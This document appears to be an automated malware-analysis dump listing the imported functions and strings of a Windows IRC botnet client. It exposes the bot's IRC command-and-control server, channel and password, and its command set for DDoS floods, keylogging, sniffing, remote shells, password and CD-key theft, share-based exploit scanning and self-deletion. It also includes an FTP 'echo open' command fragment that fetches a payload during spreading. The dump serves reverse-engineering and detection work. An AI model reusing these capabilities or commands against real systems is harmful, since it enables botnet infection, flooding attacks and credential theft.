sub_outside():
WS2_32.closesocket
WS2_32.WSACleanup
KERNEL32.Sleep
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleFileNameA
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
KERNEL32.ExitProcess
KERNEL32.GetTickCount
KERNEL32.GetComputerNameA
KERNEL32.GetLocaleInfoA
KERNEL32.CreateThread
NTDLL.RtlGetLastWin32Error
WS2_32.htonl
WS2_32.socket
WS2_32.inet_addr
WS2_32.htons
WS2_32.connect
WS2_32.recv
WS2_32.send
KERNEL32.CreateFileA
KERNEL32.TransactNamedPipe
KERNEL32.WriteFile
KERNEL32.ReadFile
WS2_32.gethostbyname
WS2_32.bind
WS2_32.listen
WS2_32.select
WS2_32.accept
WS2_32.sendto
KERNEL32.MultiByteToWideChar
KERNEL32.WideCharToMultiByte
WS2_32.WSAStartup
KERNEL32.CreatePipe
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.WaitForSingleObject
KERNEL32.TerminateThread
KERNEL32.TerminateProcess
KERNEL32.GetFileSize
KERNEL32.SetFilePointer
WS2_32.WSAGetLastError
KERNEL32.GetFileAttributesA
WS2_32.inet_ntoa
KERNEL32.ExitThread
WS2_32.gethostbyaddr
KERNEL32.WaitForMultipleObjects
KERNEL32.GetLocalTime
WS2_32.setsockopt
KERNEL32.OpenProcess
KERNEL32.GetSystemInfo
KERNEL32.GetProcessHeap
NTDLL.RtlAllocateHeap
KERNEL32.ReadProcessMemory
KERNEL32.VirtualQueryEx
KERNEL32.FileTimeToLocalFileTime
KERNEL32.FileTimeToSystemTime
NTDLL.RtlFreeHeap
KERNEL32.GetExitCodeProcess
KERNEL32.PeekNamedPipe
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegCloseKey
KERNEL32.GetLogicalDrives
KERNEL32.GetDriveTypeA
KERNEL32.GetVersionExA
KERNEL32.GetModuleHandleA
KERNEL32.GetCommandLineA
KERNEL32.GetStartupInfoA
KERNEL32.VirtualQuery
KERNEL32.VirtualAlloc
KERNEL32.VirtualProtect
KERNEL32.UnhandledExceptionFilter
KERNEL32.GetSystemTimeAsFileTime
KERNEL32.GetCurrentProcessId
KERNEL32.GetCurrentThreadId
KERNEL32.QueryPerformanceCounter
|
sub_41AA0A(069b):
WS2_32.inet_addr
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.send
WS2_32.recv
WS2_32.closesocket
|
sub_40ED4C(0b16):
WS2_32.htonl
WS2_32.send
|
sub_40E971(0cff):
"BBBB"
"CCCC"
"`"
|
sub_41AEDD(0dd6):
KERNEL32.GetTempPathA
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
KERNEL32.ExpandEnvironmentStringsA
KERNEL32.CreateProcessA
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
|
sub_40B3C5(0e4c):
" Total: %d in %s."
|
sub_41D235(0e74):
WS2_32.htons
WS2_32.socket
WS2_32.connect
KERNEL32.GetTickCount
WS2_32.send
WS2_32.closesocket
"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
"\r\n"
|
sub_40A263(0fb4):
KERNEL32.GetTickCount
KERNEL32.SetErrorMode
KERNEL32.CreateMutexA
KERNEL32.WaitForSingleObject
WS2_32.WSAStartup
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleHandleA
KERNEL32.GetModuleFileNameA
KERNEL32.GetFileAttributesA
KERNEL32.SetFileAttributesA
NTDLL.RtlGetLastWin32Error
KERNEL32.Sleep
KERNEL32.CopyFileA
KERNEL32.GetCurrentProcessId
KERNEL32.OpenProcess
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
WS2_32.WSACleanup
KERNEL32.ExitProcess
KERNEL32.DeleteFileA
KERNEL32.CreateThread
"iiKnc"
"%s%s"
"windata.exe"
"windata.exe"
"%s\\%s"
"%s %d \"%s\""
"oslo.no.eu.undernet.org"
"#imortal2"
"relax"
"oslo.no.eu.undernet.org"
"#imortal2"
"relax"
"#imortal2"
"relax"
|
sub_421582(128c):
KERNEL32.VirtualAlloc
|
sub_4205E4(1310):
NTDLL.RtlAllocateHeap
|
sub_42661A(13fb):
KERNEL32.GetModuleFileNameA
"C:\\m_unpacker\\packed.exe"
|
sub_40EE6B(16f7):
WS2_32.send
|
sub_4011F5(185d):
WS2_32.send
|
sub_42569D(18c2):
KERNEL32.SetFilePointer
NTDLL.RtlGetLastWin32Error
|
sub_41C9D4(18e9):
KERNEL32.SearchPathA
KERNEL32.CreatePipe
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
KERNEL32.CreateThread
NTDLL.RtlGetLastWin32Error
"cmd.exe"
|
sub_401000(190d):
ADVAPI32.RegCreateKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegDeleteValueA
ADVAPI32.RegCloseKey
"windata"
|
sub_428FE8(1980):
"1#SNAN"
"1#IND"
"1#INF"
"1#QNAN"
|
sub_4271AC(1ce8):
KERNEL32.MultiByteToWideChar
|
sub_429712(209c):
"C"
|
sub_40C89B(2214):
KERNEL32.MultiByteToWideChar
"\\\\"
|
sub_4214CB(2299):
NTDLL.RtlReAllocateHeap
NTDLL.RtlAllocateHeap
KERNEL32.VirtualAlloc
NTDLL.RtlFreeHeap
|
sub_421140(2585):
NTDLL.RtlAllocateHeap
|
sub_41C444(25fc):
KERNEL32.CreateToolhelp32Snapshot
KERNEL32.Process32First
KERNEL32.Process32Next
KERNEL32.lstrcmpi
KERNEL32.OpenProcess
KERNEL32.TerminateProcess
KERNEL32.CloseHandle
KERNEL32.Module32First
"SeDebugPrivilege"
" %s (%d)"
"SeDebugPrivilege"
|
sub_420EE9(28de):
KERNEL32.CloseHandle
NTDLL.RtlGetLastWin32Error
|
sub_426D3A(2923):
KERNEL32.WideCharToMultiByte
|
sub_410E59(2ecc):
KERNEL32.WriteFile
|
sub_425B55(3103):
KERNEL32.LCMapStringW
NTDLL.RtlGetLastWin32Error
KERNEL32.MultiByteToWideChar
KERNEL32.WideCharToMultiByte
KERNEL32.LCMapStringA
|
sub_41B507(3362):
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
|
sub_40B553(34e8):
"NetBios"
" Scan Time: %s."
|
sub_417F75(35d4):
GDI32.CreateDCA
GDI32.GetDeviceCaps
GDI32.CreateCompatibleDC
GDI32.CreateDIBSection
GDI32.SelectObject
GDI32.BitBlt
GDI32.GetDIBColorTable
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
GDI32.DeleteObject
GDI32.DeleteDC
"DISPLAY"
|
sub_4012D6(35eb):
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress
NTDLL.RtlGetLastWin32Error
KERNEL32.LoadLibraryA
WININET.InternetOpenA
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"GetAsyncKeyState"
"GetKeyState"
"GetWindowTextA"
"GetForegroundWindow"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"ClearEventLogA"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"NetWkstaGetInfo"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
"avicap32.dll"
"capCreateCaptureWindowA"
"capGetDriverDescriptionA"
|
sub_40D055(3617):
WS2_32.recv
WS2_32.send
KERNEL32.Sleep
WS2_32.closesocket
"echo open %s %d > o&echo user 1 1 >> o "...
"bling.exe\r\n"
|
sub_41D779(371f):
KERNEL32.GetVersionExA
ADVAPI32.GetUserNameA
WS2_32.inet_addr
WS2_32.gethostbyaddr
KERNEL32.GetSystemDirectoryA
KERNEL32.GetDateFormatA
KERNEL32.GetTimeFormatA
KERNEL32.GlobalMemoryStatus
"95"
"98"
"2K"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
|
sub_4185EA(37d8):
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegQueryValueExA
ADVAPI32.RegCloseKey
"%s\\%s"
"r"
"="
"="
|
sub_428710(3cd4):
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
"GetUserObjectInformationA"
"GetProcessWindowStation"
|
sub_419664(3ddd):
"failed"
|
sub_40E3B2(3ebc):
"NETMANIAC"
"ADIK"
"*** MESSAGE ***"
"[*] Msg body size: %d\n"
|
sub_419799(4429):
KERNEL32.FindFirstFileA
KERNEL32.FindNextFileA
KERNEL32.FindClose
"%s\\*"
"%s\\%s"
|
sub_424C26(4634):
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress
"KERNEL32"
"IsProcessorFeaturePresent"
|
sub_429823(464b):
"C"
|
sub_42418E(4863):
KERNEL32.GetStartupInfoA
KERNEL32.GetFileType
KERNEL32.GetStdHandle
KERNEL32.LockResource
|
sub_40B619(4eaf):
WS2_32.inet_ntoa
|
sub_413F5A(4ec3):
KERNEL32.CreatePipe
NTDLL.RtlGetLastWin32Error
KERNEL32.CloseHandle
|
sub_41B7C1(52c8):
KERNEL32.MultiByteToWideChar
|
sub_42884D(52fc):
KERNEL32.SetEndOfFile
NTDLL.RtlGetLastWin32Error
|
sub_40DDD9(53c5):
WS2_32.htons
WS2_32.inet_addr
WS2_32.send
WS2_32.recv
"\\\\%s\\ipc$"
|
sub_424391(5550):
"exp"
"exp"
"log10"
"log10"
"log"
"log"
"pow"
"pow"
"pow"
"log10"
"log"
"log2"
"log2"
"exp10"
"exp2"
"exp"
"modf"
"pow"
"floor"
"ceil"
"atan"
|
sub_41C736(55bf):
KERNEL32.OpenProcess
KERNEL32.TerminateProcess
KERNEL32.CloseHandle
|
sub_427277(573a):
KERNEL32.RaiseException
|
sub_4210EF(5769):
KERNEL32.HeapCreate
KERNEL32.HeapDestroy
|
sub_42490B(57be):
"e+000"
|
sub_417688(59dd):
WS2_32.connect
WS2_32.ioctlsocket
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.getsockopt
|
sub_41A293(59e7):
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
|
sub_419501(5b85):
KERNEL32.GetDiskFreeSpaceExA
|
sub_4281D4(5cb8):
KERNEL32.IsBadReadPtr
|
sub_4281F0(5cb8):
KERNEL32.IsBadWritePtr
|
sub_40F024(5f25):
"0C"
|
sub_41C07C(634c):
ADVAPI32.IsValidSecurityDescriptor
"Share name: Resource: "...
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
|
sub_419549(63f7):
"%sKB"
"failed"
|
sub_42823C(6464):
KERNEL32.SetFilePointer
NTDLL.RtlGetLastWin32Error
|
sub_4266BC(6487):
KERNEL32.GetEnvironmentStringsW
NTDLL.RtlGetLastWin32Error
KERNEL32.WideCharToMultiByte
KERNEL32.FreeEnvironmentStringsW
KERNEL32.GetEnvironmentStrings
KERNEL32.FreeEnvironmentStringsA
|
sub_4284E7(64e8):
KERNEL32.VirtualQuery
KERNEL32.InterlockedExchange
|
sub_41B065(66dc):
KERNEL32.GetVersionExA
ADVAPI32.OpenEventLogA
ADVAPI32.ClearEventLogA
NTDLL.RtlGetLastWin32Error
|
sub_4282DB(6848):
KERNEL32.GetLocaleInfoA
|
sub_415825(6cb0):
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.htons
WS2_32.htonl
KERNEL32.QueryPerformanceFrequency
KERNEL32.QueryPerformanceCounter
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup
"ddos.syn"
"ddos.ack"
"ddos.random"
|
sub_40BC56(6ee1):
WS2_32.socket
WS2_32.htons
WS2_32.ioctlsocket
WS2_32.connect
WS2_32.select
WS2_32.closesocket
|
sub_41DCBE(74ec):
WS2_32.send
|
sub_4025EF(760d):
WS2_32.socket
WS2_32.connect
WS2_32.closesocket
KERNEL32.Sleep
WS2_32.htons
|
sub_4211B3(76df):
KERNEL32.VirtualFree
NTDLL.RtlFreeHeap
|
sub_429E31(771b):
KERNEL32.GetStringTypeW
NTDLL.RtlGetLastWin32Error
KERNEL32.WideCharToMultiByte
KERNEL32.GetStringTypeA
|
sub_41A6AE(7737):
WS2_32.send
" "
"PING"
"PONG %s\n"
"433"
"432"
"NICK %s\n"
|
sub_41D6C3(775b):
KERNEL32.Sleep
|
sub_422D8A(7906):
KERNEL32.GetCPInfo
|
sub_41A954(7ba3):
KERNEL32.CreateThread
|
sub_41B802(7c92):
KERNEL32.WideCharToMultiByte
"C"
|
sub_41B98C(7d4d):
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
|
sub_41ACD0(7ddf):
NTDLL.RtlGetLastWin32Error
KERNEL32.FormatMessageA
"%s Error: %s <%d>."
|
sub_41E2A1(8039):
NTDLL.RtlFreeHeap
|
sub_419725(80f6):
KERNEL32.GetLogicalDriveStringsA
"A:\\"
|
sub_40A800(8332):
KERNEL32.GetTickCount
"%s"
"%s%i"
|
sub_41E561(84dc):
NTDLL.RtlAllocateHeap
|
sub_426A43(851f):
KERNEL32.CreateFileA
KERNEL32.GetFileType
KERNEL32.CloseHandle
NTDLL.RtlGetLastWin32Error
|
sub_40274D(860d):
KERNEL32.CreateThread
NTDLL.RtlGetLastWin32Error
KERNEL32.Sleep
WS2_32.getsockname
WS2_32.inet_ntoa
KERNEL32.GetModuleFileNameA
KERNEL32.GetSystemDirectoryA
DNSAPI.DnsFlushResolverCache
KERNEL32.GetTickCount
WS2_32.closesocket
WS2_32.WSACleanup
KERNEL32.ExitProcess
WS2_32.inet_addr
WS2_32.WSAStartup
WS2_32.gethostbyname
WS2_32.socket
WS2_32.htons
WS2_32.connect
WS2_32.recv
WS2_32.send
KERNEL32.MoveFileA
KERNEL32.CreateProcessA
KERNEL32.GetTempPathA
KERNEL32.DeleteFileA
WS2_32.gethostbyaddr
KERNEL32.TerminateThread
" :"
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"SEND"
"%s"
"CHAT"
"%s"
"login"
"l"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
")"
"63"
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"version"
"ver"
"dedication"
"ded"
"speedtest"
"st"
"secure"
"sec"
"unsecure"
"unsec"
"bindshell"
"bd"
"Server"
"socks4"
"s4"
"socks4stop"
"Server"
"rloginstop"
"Server"
"httpstop"
"Server"
"logstop"
"Log list"
"redirectstop"
"TCP redirect"
"ddos.stop"
"DDoS flood"
"synstop"
"Syn flood"
"skysynstop"
"SkySyn flood"
"targa3stop"
"Targa3 flood"
"wonkstop"
"Wonk flood"
"packetstop"
"DDoS flood"
"Syn flood"
"UDP flood"
"Ping flood"
"Targa3 flood"
"Wonk flood"
"Tsunami flood"
"Wisdom attack"
"SkySyn flood"
"tsunamistop"
"Tsunami flood"
"wisdomstop"
"Wisdom attack"
"udpstop"
"UDP flood"
"pingstop"
"Ping flood"
"tftpstop"
"Server"
"findfilestop"
"ffstop"
"procsstop"
"psstop"
"clonestop"
"Clone"
"securestop"
"Secure"
"scanstop"
"Scan"
"scanstats"
"stats"
"trstats"
"connectbackstats"
"cbstats"
"exploitlist"
"explist"
"reconnect"
"r"
"disconnect"
"dc"
"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"threads"
"t"
"aliases"
"al"
"log"
"lg"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"remove"
"rm"
"procs"
"ps"
"getcdkeys"
"key"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
""
"%d. %s"
"spoof"
"off"
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"crash"
"crash"
"scanall"
"sa"
"phonehome"
"NOTICE %s :PHONING HOME: hi ;).\r\n"
"findpass"
"fp"
"#imortal2"
"Random"
"Sequential"
"windata.exe"
"Ul$|\b"
"full"
"%s"
"Ul$"
"iiKnc"
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"QUIT :reconnecting\r\n"
"Process list"
"Find file"
"secure"
"sec"
"Unsecuring"
"Ul$"
"rx"
"get"
"%d.%d.%d.*"
"exploit"
"#imortal2"
"reconnect.in"
"rin"
"reconnect.in.ms"
"rinms"
"flood"
"load"
"pm"
" "
"_"
"privmsg %s :%s"
" "
"_"
"nt"
" "
"_"
"notice %s :%s"
"mode"
" "
"_"
"mode %s %s"
"join"
"join %s"
"part"
"part %s"
"partflood"
"part %s %s"
"pnick"
"%s%i"
"NICK %s"
"join/part"
"join %s"
"part %s %s"
"join %s"
"part %s %s"
"join %s"
"part %s %s"
"nick"
"join %s"
"NICK %s"
"NICK %s"
"NICK %s"
"chgnick"
"NICK %s"
"msg"
"join %s"
"privmsg %s :%s"
"privmsg %s :%s"
"privmsg %s :%s"
"notice"
"join %s"
"NOTICE %s :%s"
"NOTICE %s :%s"
"NOTICE %s :%s"
"ctcp"
"join %s"
"mix"
"join %s"
"NOTICE %s :%s"
"PRIVMSG %s :%s"
"NOTICE %s :%s"
"register"
"nickserv register %s %s"
"off"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"server"
"se"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"get"
"gt"
"list"
"li"
"visit"
"v"
"mirccmd"
"mirc"
"cmd"
"cm"
"readfile"
"rf"
"psniff"
"on"
"#imortal2"
"off"
"sniffer"
"on"
"#imortal2"
"off"
"ident"
"on"
"off"
"keylog"
"on"
"file"
"off"
"#imortal2"
"Ul$\b"
"net"
"start"
"%s"
"stop"
"pause"
"continue"
"delete"
"share"
"%s"
"user"
"%s"
"send"
"%s"
"capture"
"cap"
"gethost"
"gh"
"killlog"
"kl"
"addalias"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"targa3"
"t3"
"tsunami"
"tsn"
"repeat"
"rp"
"delay"
"de"
"update"
"up"
"execute"
"e"
"findfile"
"ff"
"rename"
"mv"
"icmpflood"
"icmp"
"clone"
"c"
"ddos.syn"
"ddos.ack"
"ddos.random"
"wisdom.udp"
"synflood"
"syn"
"skysyn"
"phatwonk"
"wonk"
"download"
"dl"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"c_action"
"c_a"
"portscan"
"psc"
"advscan"
"asc"
"udpflood"
"udp"
"u"
"netsend"
"ns"
"pingflood"
"ping"
"p"
"tcpflood"
"tcp"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"httpcon"
"hcon"
"syn"
"ack"
"random"
"Spoofed"
"Normal"
"ICMP.dll not available"
"upload"
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"#imortal2"
"Random"
"Sequential"
"[%s] * %s %s"
"[%s] <%s> %s"
"iiKnc"
"%s%s.exe"
"%s %s %s :%s"
"repeat"
"%s %s %s :%s"
"PART %s"
"JOIN %s %s"
"NICK %s"
"%s\r\n"
"MODE %s"
"%s\r\n"
"%s\r\n"
"MODE %s\r\n"
"PART %s\r\n"
"JOIN %s %s\r\n"
"%s %s %s :%s"
"screen"
"drivers"
"frame"
"video"
"r"
"\n"
"%s"
"open"
"NICK %s"
"%s\r\n"
"QUIT :later\r\n"
"all"
"%s\r\n"
"PART %s\r\n"
"JOIN %s %s\r\n"
"NICK %s\r\n"
"QUIT :reconnecting\r\n"
"QUIT :reconnecting\r\n"
"NICK %s\r\n"
"!"
"~"
"relax"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"relax"
"USERHOST %s\r\n"
"+x"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
|
sub_417D70(8946):
KERNEL32.GetLocalTime
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
|
sub_41B465(899f):
ADVAPI32.OpenSCManagerA
NTDLL.RtlGetLastWin32Error
ADVAPI32.OpenServiceA
ADVAPI32.ControlService
ADVAPI32.StartServiceA
ADVAPI32.DeleteService
ADVAPI32.CloseServiceHandle
|
sub_420274(8af0):
NTDLL.RtlUnwind
|
sub_421D41(8b81):
KERNEL32.ReadFile
NTDLL.RtlGetLastWin32Error
|
sub_4268F2(8bf1):
KERNEL32.SetStdHandle
|
sub_40B0BB(8c69):
"%s %s stopped. (%d thread(s) stopped.)"
"%s No %s thread found."
|
sub_422F16(8dad):
KERNEL32.GetOEMCP
KERNEL32.GetACP
KERNEL32.GetCPInfo
|
sub_41AD5A(8e50):
USER32.OpenClipboard
USER32.GetClipboardData
KERNEL32.GlobalLock
KERNEL32.GlobalUnlock
USER32.CloseClipboard
|
sub_41C7F5(8ecc):
KERNEL32.Sleep
WS2_32.send
"PRIVMSG %s :%s\r"
"%s"
|
sub_426069(8f02):
KERNEL32.GetModuleFileNameA
KERNEL32.GetStdHandle
KERNEL32.WriteFile
""
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
|
sub_40123B(8f8a):
WS2_32.send
KERNEL32.Sleep
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
|
sub_4164A9(901e):
WS2_32.WSAStartup
WS2_32.WSASocketA
WS2_32.setsockopt
WS2_32.htons
KERNEL32.QueryPerformanceFrequency
KERNEL32.QueryPerformanceCounter
WS2_32.htonl
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WS2_32.WSACleanup
|
sub_41A24C(909a):
WS2_32.send
"\n"
|
sub_42065F(91cb):
KERNEL32.GetFileAttributesA
NTDLL.RtlGetLastWin32Error
|
sub_41D41B(93c6):
"www.schlund.net"
"www.utwente.nl"
"verio.fr"
"www.1und1.de"
"www.switch.ch"
"www.belwue.de"
"de.yahoo.com"
"www.google.it"
"www.xo.net"
"www.stanford.edu"
"www.verio.com"
"www.nocster.com"
"www.rit.edu"
"www.cogentco.com"
"www.burst.net"
"nitro.ucsc.edu"
"www.level3.com"
"www.above.net"
"www.easynews.com"
"www.google.com"
"www.lib.nthu.edu.tw"
"www.st.lib.keio.ac.jp"
"www.d1asia.com"
"www.nifty.com"
"yahoo.co.jp"
"www.google.co.jp"
|
sub_40A8CA(946c):
KERNEL32.GetTickCount
|
sub_416311(948a):
WS2_32.htons
WS2_32.socket
WS2_32.ioctlsocket
WS2_32.connect
KERNEL32.Sleep
WS2_32.closesocket
|
sub_4022F5(95f2):
IPHLPAPI.GetIpNetTable
IPHLPAPI.DeleteIpNetEntry
|
sub_41D21B(963b):
KERNEL32.GetTickCount
|
sub_41D5F8(9b6d):
KERNEL32.GetTickCount
"%dd %dh %dm"
|
sub_426FC0(9cf0):
KERNEL32.GetModuleFileNameA
"Unknown security failure detected!"
"A security error of unknown cause has b"...
"Buffer overrun detected!"
"A buffer overrun has been detected whic"...
""
"..."
"\n\n"
"Program: "
"Microsoft Visual C++ Runtime Library"
|
sub_41AE17(9d9d):
KERNEL32.SearchPathA
KERNEL32.CreateFileA
KERNEL32.GetFileTime
KERNEL32.CloseHandle
KERNEL32.SetFileTime
"explorer.exe"
|
sub_41AEBB(9dbe):
USER32.ExitWindowsEx
"SeShutdownPrivilege"
|
sub_4204DD(9e4e):
KERNEL32.MultiByteToWideChar
NTDLL.RtlGetLastWin32Error
|
sub_40D7FE(9e84):
WS2_32.htons
WS2_32.send
WS2_32.recv
KERNEL32.Sleep
"\\\\%s\\ipc$"
|
sub_42687B(a140):
KERNEL32.SetStdHandle
|
sub_416871(a5db):
WS2_32.gethostname
WS2_32.gethostbyname
WS2_32.socket
WS2_32.setsockopt
KERNEL32.GetTickCount
WS2_32.htons
WS2_32.sendto
WS2_32.closesocket
|
sub_41E3C2(a788):
NTDLL.RtlAllocateHeap
NTDLL.RtlReAllocateHeap
|
sub_40F87A(aa21):
KERNEL32.WideCharToMultiByte
"\\\\"
"\\"
"admin$"
|
sub_42831E(abe8):
KERNEL32.GetCPInfo
KERNEL32.MultiByteToWideChar
KERNEL32.WideCharToMultiByte
|
sub_420383(aeff):
KERNEL32.RaiseException
|
sub_4194B8(b2db):
KERNEL32.GetDriveTypeA
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
|
sub_40F47A(b507):
"TC"
|
sub_40CA2C(b663):
"FXNBFXFXNBFXFXFXFX"
"FXNBFXFXNBFXFXFXFX"
|
sub_41BE8A(b6b2):
KERNEL32.GetComputerNameA
|
sub_41D9E5(b6c9):
WININET.InternetGetConnectedStateEx
"Not connected"
"Dial-up"
|
sub_42987E(b73f):
"C"
|
sub_41EC78(b873):
KERNEL32.DeleteFileA
NTDLL.RtlGetLastWin32Error
|
sub_426DA0(bca2):
KERNEL32.GetStringTypeW
NTDLL.RtlGetLastWin32Error
KERNEL32.MultiByteToWideChar
KERNEL32.GetStringTypeA
|
sub_41AD95(bf1a):
USER32.FindWindowA
KERNEL32.CreateFileMappingA
KERNEL32.MapViewOfFile
USER32.SendMessageA
KERNEL32.UnmapViewOfFile
KERNEL32.CloseHandle
"mIRC"
|
sub_417272(c010):
WS2_32.socket
WS2_32.setsockopt
WS2_32.WSAGetLastError
WS2_32.inet_addr
WS2_32.htons
KERNEL32.GetTickCount
WS2_32.getsockname
WS2_32.sendto
WS2_32.closesocket
"%d.%d.%d.%d"
|
sub_41C7BD(c241):
KERNEL32.WriteFile
|
sub_413CD4(c397):
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
NTDLL.RtlGetLastWin32Error
"cmd /q"
|
sub_41BD5A(c864):
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
